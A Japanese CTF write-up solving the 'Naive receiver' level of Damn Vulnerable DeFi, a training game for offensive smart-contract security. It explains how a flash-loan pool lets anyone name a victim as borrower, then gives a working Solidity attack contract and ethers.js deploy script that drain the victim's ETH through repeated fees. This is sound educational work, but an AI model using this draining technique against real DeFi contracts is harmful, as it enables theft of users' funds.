概要#
Damn Vulnerable DeFi は、イーサリアム DeFi スマートコントラクトの攻撃的なセキュリティを学ぶための CTF ゲームです。
このゲームでは、フラッシュローン、プライスオラクル、ガバナンス、非代替可能トークン(NFT)、分散型取引所(DEX)、レンディングプール、スマートコントラクトウォレット、タイムロックなど、さまざまな DeFi シナリオをカバーしています。
この CTF のような問題は、初心者が solidity/ethers.js の開発を学ぶのに非常に適しています。
チャレンジの問題の説明ウェブサイト:https://www.damnvulnerabledefi.xyz/
チャレンジの問題のソースコードのアドレス:https://github.com/tinchoabbate/damn-vulnerable-defi
Naive receiver#
問題の説明:
バランスに 1000 ETH を持つフラッシュローンを提供するプールがあります。固定手数料は 1 ETH です。
ユーザーは、10 ETH のバランスを持つコントラクトをデプロイしています。このコントラクトは、プールと対話し、ETH のフラッシュローンを受け取ることができます。
ユーザーのコントラクトからすべての ETH を取り出してください。可能な場合は、1 つのトランザクションで。
解説#
意味:問題の意味は、フラッシュローンを提供するプールがあるということです。ユーザーは、前述のプールと対話できる 10 ETH のコントラクトをデプロイしています。私たちは、ユーザーの ETH をすべて使い果たすために攻撃する必要があります。
まず、フラッシュローンプールのコントラクトを見てみましょう:
私たちは、フラッシュローンの受信者であるレシーバーが、トランザクションの msg.sender ではなく、IERC3156FlashBorrower を満たす任意の指定可能なプールであることに気付くでしょう。
そして、私たちはユーザーがデプロイしたコントラクトを見てみると、そのコントラクトが IERC3156 の標準を実装していることがわかります。私たちは、ユーザーがデポジットした 10 ETH ごとにフラッシュローンを 10 回実行するだけの for ループが必要です(手数料は 1 ETH です)。
問題解決#
問題の要件は、できるだけ同じトランザクションに入れることですので、私たちはコントラクトをデプロイする必要があります。
AttackNaiveReceiver.sol
contract AttackNaiveReceiver {
NaiveReceiverLenderPool pool;
address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address owner;
constructor(address payable _pool, address _owner) {
pool = NaiveReceiverLenderPool(_pool);
owner = _owner;
}
function attack(address victim) public {
require(msg.sender == owner, "only owner can attack");
for (int i=0; i < 10; i++ ) {
pool.flashLoan(IERC3156FlashBorrower(victim), ETH, 0 ether, "");
}
}
}
JavaScript スクリプトでコントラクトをデプロイし、攻撃を開始します:
const attackContract = await ethers.getContractFactory('AttackNaiveReceiver', player);
const attack = await attackContract.deploy(pool.address, player.address);
await attack.attack(receiver.address);
完全な解決策のアドレス:https://github.com/fenghaojiang/damn-vulnerable-defi